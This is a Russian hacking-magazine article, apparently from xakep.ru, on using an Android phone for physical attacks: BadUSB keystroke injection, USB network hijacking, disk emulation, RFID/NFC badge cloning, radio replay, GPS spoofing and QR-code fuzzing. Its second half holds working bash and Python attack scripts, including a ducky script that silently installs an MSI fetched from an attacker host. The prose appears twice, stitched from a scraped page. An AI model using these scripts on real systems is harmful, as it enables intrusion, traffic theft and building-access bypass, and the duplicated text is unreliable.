Обычный мобильный телефон на Android может стать грозным оружием в руках хакера — как сам по себе, так и с использованием нескольких дополнительных устройств. Но одного железа для полного успеха недостаточно: чтобы вдохнуть в хакерский смартфон жизнь, необходимо озаботиться софтом. О нем мы сегодня и поговорим.
Эта статья — продолжение материала «Киберфон. Превращаем телефон на Android в инструмент хакера». Она завершает цикл публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак.
В статье «Киберфон. Превращаем телефон на Android в инструмент хакера» был показан простой и универсальный способ создания GNU-окружения — базы для хакерского инструментария. Мы рассмотрели принцип сборки драйверов прямо на устройстве, а также организовали взаимодействие Android с GNU. Затем я продемонстрировал часть хакерских возможностей современного смартфона. Это были самые опасные и распространенные векторы нападения с использованием радиоканала. Давай взглянем, на что способен телефон при непосредственном физическом доступе к атакуемому устройству.
В результате телефон может стать USB-клавиатурой. Активирует нажатия клавиатуры такой скрипт:
В случае с телефоном атака BadUSB-hid может выглядеть даже менее подозрительно, чем с флешкой. Ведь если флешку вставит в комп далеко не каждый, то зарядить телефон можно почти у кого угодно.
Это отличный социальный вектор атаки. Забавно, но вопреки общему мнению получается, что телефоном взломать комп куда проще, чем компьютером взломать телефон.
Для незаметности злоумышленник может активировать атаку не сразу в момент подключения, а спустя какое‑то время:
У современного телефона множество датчиков, и триггером к атаке может стать что угодно — освещение, вибрация, движение телефона или даже голосовая команда:
Синтаксис ducky-скриптов полностью идентичен описанному в статье про BadUSB-флешку и про ее беспроводной аналог — Mousejack. Самое опасное, что может быть набрано на клавиатуре, — это, например, такой код:
Телефон злоумышленника покорно заряжается от компьютера жертвы, но, как только он услышит команду run, срабатывает атака, и компьютер оказывается скомпрометированным за секунду. Злоумышленник может даже удаленно инициировать атаку, подключившись к телефону по VPN, используя 4G и запустив сценарий keystrokes.sh на телефоне.
Так как имитируется клавиатура, то через /dev/hidg0 можно выполнять обычный интерактивный набор текста прямо на виртуальной клавиатуре телефона:
А через /dev/hidg1 можно управлять и мышкой:
Нажатия по консоли в псевдографическом режиме используются, чтобы передать движения курсора на компьютер.
В первом блоке скрипта активируется эмуляция сетевой карты по USB. Она, кстати, может уже присутствовать по умолчанию или быть доступна через обычные настройки телефона: «Настройки → Для разработчиков → Конфигурация USB по умолчанию: USB-модем».
Во втором блоке скрипта запускается кастомный DHCP-сервер, который перекрывает сетевые маршруты жертвы и направляет весь ее трафик в телефон атакующего.
Так как при подключении телефона ОС Android не в состоянии запустить свой DHCP-сервер, настройка интерфейса может прерваться. Поэтому нужно доконфигурировать его самостоятельно, и именно это делается в третьем блоке скрипта.
Скрипт должен быть запущен перед подключением телефона к заблокированному компьютеру, чтобы интерфейс rndis0 на телефоне правильно сконфигурировался. Если все сделано верно, то комп, к которому подключен телефон, также автоматически сконфигурирует уже свой сетевой интерфейс. Далее атакуемый компьютер отправляет весь свой трафик в телефон, в том числе и Wi-Fi, и Ethernet (если они есть). Ведь маршруты действующих сетевых интерфейсов оказались перекрыты USB-сетью.
Далее запускаются уже непосредственно все атаки:
В первом цикле запускаются атаки on_network, универсальные для всех клиентов. Во втором ожидается появление IP-адреса клиента (целевого устройства), а в третьем — запуск на него всех on_client-атак: чекеры уязвимостей, брутфорсеры, сбор данных и так далее. В этом случае, благодаря дисплею телефона, атакующий видит больше информации о ходе процесса.
Таким способом вполне реально стянуть NetNTLM-хеш. Если его сбрутить (что тоже достижимо), то удастся обойти блокировку устройства. Если это доменный комп, то такой хеш можно направить на LDAP контроллера домена и, изменив определенные свойства учетки, также обойти аутентификацию. Возможно, атакующему повезет и удастся сразу выполнить произвольный код через какую‑нибудь уязвимость или подобранный пароль, а затем активировать бэкдор. И все это только с помощью телефона!
BadUSB-HDD — это подвид BadUSB-атак, который заключается в возможности сымитировать загрузочное устройство при перезагрузке и выполнить там произвольный код. Однако возможность эмуляции диска может быть полезна и для других целей.
В качестве диска используется обычный файл‑образ. Его содержимое — это последовательность байтов. Все, что записано в файле, находится на диске. Следующий скрипт по выбору может имитировать такие заранее подготовленные диски:
Примечательно, что можно сымитировать и readonly-носители так, чтобы ОС или антивирус ничего не удалили. Останавливает эмуляцию диска следующий скрипт:
Каждый образ диска может использовать свой сценарий атаки, например:
Аварийно перезагруженный таким образом компьютер может уйти на перезагрузку с незатертыми данными в RAM. Телефон же в этот момент может эмулировать по USB другой диск — coldboot.img — и выполнить атаку Cold Boot.
RFID и NFC легко спутать. На вид они слабо отличимы. Есть пара лайфхаков, позволяющих быстро понять, какой тип бесконтактной технологии перед вами. Современные телефоны снабжены NFC и не используют RFID, поэтому если твой телефон среагировал на поднесенную метку, значит, это NFC. Другой способ — визуальный, с использованием фонарика.
Если просвечивается круглая антенна — это обычно RFID, прямоугольная — NFC. Но возможны и частные случаи. Эти две технологии можно встретить примерно с равной вероятностью. Автоматизированные системы контроля и управления доступом в бизнес‑центрах и на предприятиях чаще работают на RFID, в то время как в гостиницах и отелях — почти всегда на NFC. Также карты оплаты, включая и банковские, работают на основе технологии NFC, но они используют немного иной принцип, поэтому рассматривать их не будем.
Обе технологии применяют бесконтактный метод коммуникации ближнего поля, когда RFID/NFC-чип включается и работает благодаря электромагнитной энергии на малых расстояниях (порядка нескольких сантиметров).
Атаки на RFID и NFC чаще всего связаны с бесконтактным клонированием и последующим повторным использованием. Атаку можно проводить в сочетании с устройством Proxmark. Для его работы требуется собрать драйвер:
Также нужно собрать соответствующий инструмент с аналогичным именем:
Для клонирования метки или, например, пропуска требуется прочитать и эмулировать данные:
Поскольку такую атаку злоумышленник может выполнять скрытно и не видеть экрана телефона, то с помощью Termux-API телефон вибросигналом даст понять атакующему, что успешно считал RFID:
Эмуляция считанной RFID-метки уже позволит обойти, скажем, систему контроля и управления доступом:
И, вполне ожидаемо, злоумышленник без проблем попадает в здание. Сотрудник вышел покурить, злоумышленник подошел, чтобы спросить время, и незаметно поднес телефон с Proxmark к его карману, где хранится пропуск. Далее злоумышленник может проникнуть в защищенное помещение. А что, если жертвой стал системный администратор? Тогда бонусом будет и доступ в серверные.
Попытка полного клонирования карты при условии, что атакующий может восстановить ключи к секторам, состоит из попытки чтения и эмуляции:
Следующий скрипт пытается прочитать данные с секторов карты со словарными ключами или применить атаку Nested к аппаратной уязвимости MFOC для восстановления ключей:
На карте для доступа к секторам могут использоваться словарные ключи. Тогда скрипт автоматически может сдампить ее.
Если чтение со словарными ключами не удалось, скрипт пробует атаку Nested. Для успеха злоумышленнику нужен ключ хотя бы от одного сектора. По нему, анализируя генератор простых чисел, можно восстановить ключи ко всем оставшимся секторам. Если ключи восстановлены и все сектора прочитаны, то атакующий может эмулировать NFC жертвы:
Иногда для идентификации не используются данные секторов, а только четырехбайтный UID, который никак не защищен от чтения. В таком случае защищенность метки снижается до уровня RFID.
Какой импакт здесь имеет место? Как минимум — такой же, как в случае с RFID. Если карта NFC содержит дефолтные ключи либо подвержена популярной уязвимости MFOC, то примерно за десять секунд все данные с карты могут быть выгружены. На некоторых картах эта атака может занимать больше времени. Подобные NFC — это всем известные карточки оплаты в транспорте. Иными словами, импакт от незащищенности данных на NFC-носителях может нанести финансовый ущерб.
Proxmark — достаточно мощный инструмент, возможности которого отнюдь не ограничены описанными примерами атак. Это самое простое и быстрое, что может сделать хакер в контексте физического воздействия, проводимого в тандеме с телефоном. Более того, инструмент Proxmark3 имеет собственный набор скриптов для автоматизации определенных действий.
Для автоматической загрузки необходимого драйвера и настройки адаптера перед подключением запускается следующий скрипт:
Так как ОС Android использует маршрутизацию с применением правил, требуется немного больше команд, чем на обычном Linux. В конечном счете на телефоне появляется привычный eth0-интерфейс для работы с сетями по проводу.
Поскольку адаптер сетевой карты может быть уже сконфигурирован, придется сначала слушать трафик, чтобы понять, какой IP-адрес занять атакующему. В этом случае устройство жертвы не запрашивает настройки по DHCP, а значит, здесь не провернуть трюк с перекрытием сетевых маршрутов. Ведь с BadUSB-ETH каждый раз создается новый интерфейс, который конфигурируется автоматически.
Перед атакующим может быть как настроенный, так и не настроенный Ethernet-интерфейс, поэтому приведенный выше скрипт пробует сначала сконфигурировать устройство по DHCP, а потом поймать пакет с уже назначенным сетевой карте IP-адресом. Скрипт пробует подстроиться под любую адресацию — навязанную им или уже используемую устройством.
Предлагаемая конфигурация по DHCP при этом следующая:
Этот конфиг также использует трюк с перекрытием маршрутов, вытягивая трафик других сетевых интерфейсов в телефон. В случае успеха атакующий, аналогично BadUSB-ETH, перекрывает другие сетевые интерфейсы и перехватывает их трафик, а также проверяет уязвимости, как показано на рисунке.
В конечном счете на устройстве будет запущен весь атакующий арсенал через скрипты on_network/on_client, подробно описанные в статьях про BadUSB-ETH, Pineapple и Karma. Таким образом, используя смартфон и любую сетевую карту USB, мы можем добиться эффекта устройства Shark Jack.
Сама атака требует некоторой ловкости рук и реализуется менее чем за минуту.
HackRF — самый доступный полудуплексный SDR, который позволяет как принимать, так и отправлять радиосигнал на частотах в большом диапазоне — от 1 МГц до 6 ГГц. При этом форма сигнала (модуляция, ширина канала) полностью задается программно. Это открывает огромные возможности для взаимодействия с радиосигналами. Например, можно изучить любой радиосигнал, а затем воссоздать его в нужном виде.
Разумеется, с телефона крайне неудобно ресерчить радиосигнал, анализировать его форму, угадывать способ кодирования, а потом пытаться модулировать его обратно из двоичного кода. Оставим это для компьютера. Но некоторые радиоатаки достаточно просты, хорошо автоматизированы и могут быть выполнены с телефона.
Гаражные ворота, сигнализации, даже управление автоматикой на предприятии — вот далеко не полный список устройств, которые могут быть атакованы с помощью SDR. Рассмотрим некоторые из самых простых атак.
Передача радиосигнала, как правило, никак не ограничивается в пространстве. Если радиосигнал не содержит криптографических функций или меняющихся последовательностей, то он может быть записан и воспроизведен атакующим в нужный момент.
Открытие шлагбаума — это одна из самых безобидных и простых вещей, которые можно сделать подобным образом.
И далее атакующий уже сам может управлять техникой.
Если подобные вещи можно проделывать с промышленной техникой, то это уже не выглядит как простая забава. Аналогично для более сложных радиоатак может быть запущен заранее приготовленный gnuradio-скрипт. Например, для угона радиоуправляемой техники.
Спутники системы GPS были запущены в космос почти полвека тому назад. В те времена люди еще не думали о компьютерной безопасности, а сейчас спутники уже не вернешь. С помощью SDR атакующий может подделать сигнал от спутников GPS и вместе с ним задать произвольную текущую координату:
В качестве примера с расстояния нескольких метров телефон телепортируется в Дубай.
На самом деле геопозиционирование современных мобильных телефонов достаточно умное и выполняется не только по спутниковым системам, где, помимо GPS, есть еще ГЛОНАСС, Galileo и BeiDou, но и по наземным источникам сигналов — сотовым вышкам, точкам доступа Wi-Fi и встроенным датчикам. А современное программное обеспечение умеет определять попытки «телепортации», поэтому сдвигать локацию лучше плавно по нескольку сотен метров.
Зато автономные GPS-модули более подвержены такой атаке. Позиционирование в квадрокоптерах или технике посерьезнее не руководствуется наземными источниками сигналов, которых в воздухе или море особо‑то и нет.
Импакт от подделки координат может быть самый разнообразный, начиная автоматической посадкой и угоном дронов и заканчивая воздействием на более внушительные транспортные средства. Например, злоумышленник, плывущий на корабле, который движется на автопилоте и ориентируется по спутникам, теоретически вполне может, манипулируя с GPS, заставить его повернуть в любую сторону.
Вообще, по GPS синхронизируется сначала не местоположение, а время. И время тоже можно подделать. Если установить неправильное время, на уязвимом устройстве ломается весь SSL-трафик, что при некоторых обстоятельствах может привести к отказу в обслуживании.
Для перехвата переговоров атакующий может выбрать открытый диапазон частот, на котором работает большинство раций, — около 433 МГц — и выставить FM-демодуляцию.
Многие SDR умеют еще и передавать сигналы. Используя gnuradio-схему на рисунке ниже, атакующий может отправить аудиосообщение на такую рацию.
С применением такой схемы можно отправлять сигналы не только в рацию, но и на обычные FM-радиоприемники, вмешиваясь в радиоэфир.
Не все рации передают голос в открытом виде. Те, в которых используется кодирование, тоже могут быть прослушаны:
На практике мне встречались рации, в настройках которых было активировано скремблирование, однако голос они все равно передавали в открытом виде.
Как это может применить злоумышленник? Представь, что охрана использует рации для координации своих действий. Потенциальный злодей, желающий проникнуть на закрытую территорию, чтобы разместить там свою аппаратную закладку, может таким образом прослушивать переговоры охраны. А какой эффект он получит, если отправит охранникам ложное сообщение?
Возможность подделать теле- и радиосигнал может иметь весьма внушительный импакт. Вообще, тема использования SDR невероятно обширная и заслуживает отдельной книги. Здесь же я привожу лишь несколько самых простых и известных атак, реализация которых не требует долгой настройки.
С QR-кодами атакующий может сделать, в общем‑то, немало:
Чтобы сгенерить QR-код прямо в консоли в интерактивном режиме или принимая данные от других скриптов, можно использовать небольшой сценарий:
Все, что он делает, — предварительно очищает экран, чтобы код рисовался на одной и той же области дисплея телефона. После этого генерит QR-код, ожидая данные в sdtin.
Но если атакующий собирается что‑то фаззить или брутить, то ему нужен эталонный образец данных из QR-кода. Для декодирования проще всего использовать любое мобильное приложение, специально предназначенное для этого. Некоторые телефоны умеют это делать даже встроенной камерой. Но для фанатов консоли и автоматизации можно воспользоваться Linux-распознавалкой QR-кодов:
Скрипт, используя Termux-API, делает снимок камерой, сжимает изображение и выполняет распознавание с помощью утилиты zbarimg. Для дальнейшего использования раскодированные данные сохраняются в файл.
Далее, задействовав простейший цикл на Bash, можно запустить уже перебор некоторых значений, зашифрованных в QR-коде:
Такой код просто меняет последний символ от 0 до 100.
Теоретически вполне допустимо, что система для контроля доступа руководствуется порядковыми номерами. Злоумышленник, сфотографировав чей‑то QR-код, может попробовать перебрать такие порядковые номера в надежде угадать код и обойти тем самым контроль доступа.
Часто бывает, что в QR-коде зашифрована обычная URL-строка или ее фрагмент. Например, почти во всех магазинах можно встретить вот такие терминалы, ожидающие идентификатор товара.
Такие терминалы — потенциальная точка проникновения: данные, которые вводятся посредством кодировки QR, могут небезопасно подставляться в базы данных и быть уязвимы к SQL-инъекциям или к прямому внедрению команд ОС.
С помощью следующего нехитрого скрипта можно прогнать какой‑нибудь словарь, узко заточенный под ту или иную уязвимость.
Что касается товаров, то обычно в QR-коде зашифровано только значение, а не весь URL целиком, поэтому скрипт просто дописывает payload в конце. Впрочем, в QR-коде может быть зашифровано вообще что угодно — URL или длинная hex-строка.
Слегка изменив цикл, можно запустить мутационный фаззинг с помощью radamsa:
Фаззер radamsa случайным образом искажает эталонные данные в исходном QR-коде. Он умеет распознавать простейшие структуры, такие как строки и числа, а также имеет мощный мутационный движок и выполняет тестирование на ошибки при работе как с текстовыми данными или юникодом, так и с двоичными данными. Это открывает атакующему возможность всего за несколько секунд приступить к фаззинг‑тестированию, даже не вникая в подробности типов данных, зашифрованных в QR-коде.
На рисунке ниже наглядно показано, как QR-считыватель начинает принимать искаженные данные.
На одном из вендинговых автоматов по продаже еды подобным фаззингом удалось добиться выполнения произвольной команды ОС и вызвать калькулятор, предварительно повернув экран на 90° и спровоцировав несколько ошибок в ПО.
Более того, так как телефон имеет встроенный 4G, он может использоваться еще и как шлюз для скрытого подключения к атакуемой сети. В этом случае с помощью VPN, открытого через 4G на телефоне, можно организовать линк в атакуемую сеть из любой точки мира.
Сначала требуется настроить на телефоне сам VPN. Проще всего его реализовать с помощью OpenVPN. Для максимального удобства маршрутизации лучше использовать L2-туннель (tap). Такой туннель позволяет атакующим находиться на расстоянии одного хопа для удобства маршрутизации. Однако соответствующее приложение для Android не предоставляет возможности использовать туннель в форме L2. Но его поддержка присутствует в ядре, и его можно использовать, просто добавив соответствующее символьное устройство:
Использование такого туннеля упрощает дальнейшую маршрутизацию к сетям или устройствам, к которым подключен хакерский телефон.
Теперь чуть более подробно расскажу о каждом сценарии.
Все, что нужно сделать, — это немного изменить маршрутизацию на телефоне, чтобы пакеты с VPN начали заходить в атакуемый Wi-Fi. На Android маршрутизация не прописывается в дефолтную таблицу main, как это обычно бывает. Вместо этого для каждого интерфейса автоматически формируется своя таблица (ip r show table all), для связи с которой создается дополнительный набор правил (ip rule show all). Эти правила часто включают условия маркировки пакетов при помощи встроенного файрвола, с использованием еще более гибких правил (iptables -t mangle -vnL).
В итоге это все та же маршрутизация Linux, но сильно разбитая по таблицам, что немного усложняет понимание общей картины. Но все, что требуется знать, — какой номер таблицы у нужного интерфейса. Затем нужно добавить в эту таблицу необходимые маршруты и прописать для них соответствующее правило, указывающее на эту таблицу:
Теперь, просто подключившись по Wi-Fi к целевой сети, телефон злоумышленника станет шлюзом для его коллег, которые могут заняться дальнейшим продвижением, пока тот безобидно сидит в холле или идет по территории, преодолев контрольно‑пропускной пункт. На удаленном компе нужно лишь указать маршрут до интересующей сети через IP-адрес телефона на VPN:
Здесь запускается эмуляция сети по USB. Далее комп запрашивает у телефона настройки сети по DHCP, и в этот момент нужно выдать ему скрытую конфигурацию без указания шлюза, чтобы не нарушить изначальную маршрутизацию:
Теперь с помощью такого телефона, подключенного по USB, через VPN можно получить удаленный сетевой канал до компьютера и воспользоваться этим для развития последующих атак или контроля над компьютером.
Подобного эффекта, но в ином форм‑факторе можно также добиться с помощью 4G-модема, описанного в статье «Опасный модем. Закрепляемся в атакованной системе при помощи USB-модема».
Закрепление может выглядеть так, как показано на рисунке ниже.
Тот, кто получает подобный доступ в локальную сеть через телефон, работает с куда большим комфортом, чем сам злоумышленник с телефоном без физической клавиатуры. Но ничто не мешает подключить ее и использовать смартфон для полноценных атак в локальной сети уже самостоятельно, прямо с мобилы.
Даже если у внутреннего нарушителя нет ноутбука, но есть телефон, то он ничуть не менее опасен.
В этой статье и в материале «Киберфон. Превращаем телефон на Android в инструмент хакера» наглядно продемонстрировано, что злоумышленник с телефона может реализовать не только общие атаки, но и специфичные, воспроизводимые только с телефона или специального оборудования. Сама по себе эта статья не про атаки, а про их реализацию на самой неприметной платформе — телефоне. Существует ли какая‑то защита от этих атак, если телефон сейчас есть абсолютно у каждого?
Когда ты защищаешь какой‑то критичный объект, возможно, будет нелишним ограничить использование телефонов. Таким образом, меры защиты от подобных атак сводятся к физическому контролю доступа посторонних лиц, а также к ограничению использования телефона в тех зонах, где расположены критичные объекты информационной инфраструктуры.
Этой статьей мы закрываем серию публикаций, посвященных приемам взлома и физическим атакам с использованием подручных устройств. Цикл, начатый в январе этого года и воплощенный в десятке статей, затронул множество примеров атак и устройств.
Изначально, опираясь лишь на общедоступные устройства, изображенные в центре графа, злоумышленник превращает их в хакерские инструменты. И далее каждый из них с использованием той или иной технологии дает ему возможность развивать необходимые атаки. В итоге подобным образом достигаются самые разнообразные эффекты: от безобидного отказа в обслуживании до полного контроля над целью.
На протяжении всего цикла статей мы ни разу не воспользовались для атак ноутбуком и тем самым продемонстрировали, что компьютер — далеко не единственный инструмент потенциального злоумышленника.
Автор s0i37
источник xakep.ru
Эта статья — продолжение материала «Киберфон. Превращаем телефон на Android в инструмент хакера». Она завершает цикл публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак.
В статье «Киберфон. Превращаем телефон на Android в инструмент хакера» был показан простой и универсальный способ создания GNU-окружения — базы для хакерского инструментария. Мы рассмотрели принцип сборки драйверов прямо на устройстве, а также организовали взаимодействие Android с GNU. Затем я продемонстрировал часть хакерских возможностей современного смартфона. Это были самые опасные и распространенные векторы нападения с использованием радиоканала. Давай взглянем, на что способен телефон при непосредственном физическом доступе к атакуемому устройству.
BADUSB
Современные Android-устройства имеют из коробки богатую поддержку эмуляции USB. Например, при подключении к компьютеру телефон обычно спрашивает, как он может быть определен — как сетевое устройство, съемный диск или иначе. Все это эмуляция через так называемые USB-гаджеты. Ты можешь самостоятельно изучить, какие гаджеты уже реализованы в твоем текущем ядре, с помощью мобильного приложения USB Gadget Tool (net.tjado.usbgadget). Среди них наверняка есть поддержка гаджетов для всех возможных BadUSB-атак.BadUSB-hid
С телефона можно без труда имитировать клавиатуру и выполнить произвольные команды с помощью автоматического ввода — эта атака была описана в статье «Очень плохая флешка. Разбираем атаку BadUSB в деталях». Нам потребуется USB-функция hid.keyboard, а следующими незамысловатыми командами атакующий может включить в телефоне спрятанные возможности эмуляции клавиатуры:badusb/hid/start.sh
Bash:
#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1/
mkdir -p functions/hid.keyboard
cd functions/hid.keyboard/
echo 1 > protocol
echo 1 > subclass
echo 8 > report_length
echo -ne '\\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0' > report_desc
cd -
ln -s functions/hid.keyboard configs/b.1/hid.keyboard
echo "" > UDC
echo `ls -1 /sys/class/udc/ | head -1` > UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; done
EE
badusb/hid/keystrokes.sh
Bash:
#!/bin/bash
[[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')
python2 ./ducky/duckhunter.py -l us "$ducky" /tmp/rubber_ducky.sh
cat /tmp/rubber_ducky.sh
PATH="$PATH:." bash /tmp/rubber_ducky.sh
rm /tmp/rubber_ducky.sh
Это отличный социальный вектор атаки. Забавно, но вопреки общему мнению получается, что телефоном взломать комп куда проще, чем компьютером взломать телефон.
Для незаметности злоумышленник может активировать атаку не сразу в момент подключения, а спустя какое‑то время:
Bash:
sleep 60; badusb/hid/start.sh; badusb/hid/keystrokes.sh
Код:
while [ ~/android/listen.sh != "run" ]; do false; done; badusb/hid/keystrokes.sh ducky.txt
android/listen.sh
Bash:
#!/bin/bash
ssh -i ~/id_rsa-local -p 8022 localhost "termux-speech-to-text"
badusb/hid/ducky.txt
Код:
GUI r
DELAY 500
STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 500
STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
Так как имитируется клавиатура, то через /dev/hidg0 можно выполнять обычный интерактивный набор текста прямо на виртуальной клавиатуре телефона:
badusb/hid/keyboard.sh
Bash:
#!/bin/bash
while read -n 1 byte
do
python2 ducky/keyseed.py "$byte" | ./hid-keyboard /dev/hidg0 keyboard 2> /dev/null
echo "$byte" | xxd | grep -q '1b' && break
done
badusb/hid/mouse.py
Python:
#!/usr/bin/python3
import curses
from os import system
def main(stdscr):
curses.curs_set(0)
curses.mousemask(1)
while True:
key = stdscr.getch()
if key == curses.KEY_MOUSE:
try:
_, x, y, _, _ = curses.getmouse()
system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y))
stdscr.addstr(0, 0, "{x} {y} ".format(x=x, y=y)); stdscr.refresh()
except:
pass
elif key == ord("l"):
system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "left click "); stdscr.refresh()
elif key == ord("r"):
system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "right click"); stdscr.refresh()
elif key == 0x1b:
break
curses.wrapper(main)
BadUSB-ETH
Атаку BadUSB-ETH, позволяющую перехватить сетевой трафик (смотри статью «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH»), тоже можно провести с телефона. Для этого его нужно слегка настроить:badusb/eth/start.sh
Bash:
#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cd /sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration
sudo ln -s functions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0
sudo tcpdump -i rndis0 -nn -c 1 # waiting a connection
sleep 1
read iface table <<< $(ip r show table all|grep default|grep -v dummy|cut -d ' ' -f 5,7)
echo "forward to $iface ($table)"
sudo ifconfig rndis0 up
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip r add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97
sudo ip rule add from all iif rndis0 lookup $table
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o $iface -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
sudo tcpdump -i rndis0 -nn
Во втором блоке скрипта запускается кастомный DHCP-сервер, который перекрывает сетевые маршруты жертвы и направляет весь ее трафик в телефон атакующего.
Так как при подключении телефона ОС Android не в состоянии запустить свой DHCP-сервер, настройка интерфейса может прерваться. Поэтому нужно доконфигурировать его самостоятельно, и именно это делается в третьем блоке скрипта.
Скрипт должен быть запущен перед подключением телефона к заблокированному компьютеру, чтобы интерфейс rndis0 на телефоне правильно сконфигурировался. Если все сделано верно, то комп, к которому подключен телефон, также автоматически сконфигурирует уже свой сетевой интерфейс. Далее атакуемый компьютер отправляет весь свой трафик в телефон, в том числе и Wi-Fi, и Ethernet (если они есть). Ведь маршруты действующих сетевых интерфейсов оказались перекрыты USB-сетью.
Далее запускаются уже непосредственно все атаки:
badusb/eth/attack.sh
Bash:
#!/bin/bash
GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'
#~/gui.sh
for script in $(find on_network/ -type f -perm -u+x)
do
exec sudo $script rndis0 poisontap &
done
while echo -n '.'
do
if [ $(arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | wc -l) -ne 0 ]
then
break
fi
sleep 1
done
arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | while read ip
do
echo $GREEN "client detected" $RESET
for script in $(find on_client/ -type f -perm -u+x)
do
exec sudo $script $ip "" 192.168.42.1 &
done
done
Таким способом вполне реально стянуть NetNTLM-хеш. Если его сбрутить (что тоже достижимо), то удастся обойти блокировку устройства. Если это доменный комп, то такой хеш можно направить на LDAP контроллера домена и, изменив определенные свойства учетки, также обойти аутентификацию. Возможно, атакующему повезет и удастся сразу выполнить произвольный код через какую‑нибудь уязвимость или подобранный пароль, а затем активировать бэкдор. И все это только с помощью телефона!
BadUSB-HDD
Помимо устройств ввода (hid) и сетевых карт (eth), Android-телефон (вернее, ядро Linux) умеет эмулировать еще и носители данных — жесткие диски и CD-приводы.BadUSB-HDD — это подвид BadUSB-атак, который заключается в возможности сымитировать загрузочное устройство при перезагрузке и выполнить там произвольный код. Однако возможность эмуляции диска может быть полезна и для других целей.
В качестве диска используется обычный файл‑образ. Его содержимое — это последовательность байтов. Все, что записано в файле, находится на диске. Следующий скрипт по выбору может имитировать такие заранее подготовленные диски:
badusb/hdd/start.sh
Код:
#!/bin/bash
[[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): ' disk
[[ $# -ge 2 ]] && ro="$1"
case "$disk" in
0) disk='empty.img'; ro=0 ;;
1) disk='vuln_ntfs.img'; ro=1 ;;
2) disk='coldboot.img'; ro=0 ;;
3) disk='kali.img'; ro=0 ;;
esac
disk="$(pwd)/$disk"
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo "$ro" > functions/mass_storage.0/lun.0/ro
echo '1' > functions/mass_storage.0/lun.0/removable
echo "$disk" > functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config mass_storage,adb'"
badusb/hdd/stop.sh
Bash:
#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo '' > functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config none,adb'"
- empty.img. При подключении эмулируется пустой диск. На него можно скопировать все, что угодно. Файл образа диска на телефоне можно зашифровать и таким образом спрятать похищенную информацию;
- vuln_ntfs.img. Windows при подключении специальным образом поврежденной файловой системой может упасть в BSOD. Если перед злоумышленником некий информационный терминал, то это простой сценарий отказа в обслуживании. Если же перед ним заблокированный комп, на котором таким образом был вызван BSOD, значит, после этого он выйдет на перезагрузку, возможно — с сохраненными в RAM данными. И тут можно перейти к следующему сценарию;
- coldboot.img. Метод, уже описанный в статье «Cold boot attack. Дампим оперативную память с помощью флешки». С телефона атакующий может сдампить оперативную память в файл этого же образа;
- kali.img. Если перед атакующим комп, к которому у него имеется полный физический доступ, и ничего, кроме телефона, под рукой нет — он может эмулировать загрузочный диск Kali Linux (или чего‑то подобного), перезагрузиться с него и начать развитие дальнейших атак. Так злоумышленник обойдет и организационный контроль, ведь у него только телефон, и технический — антивирусы остались на другой ОС.
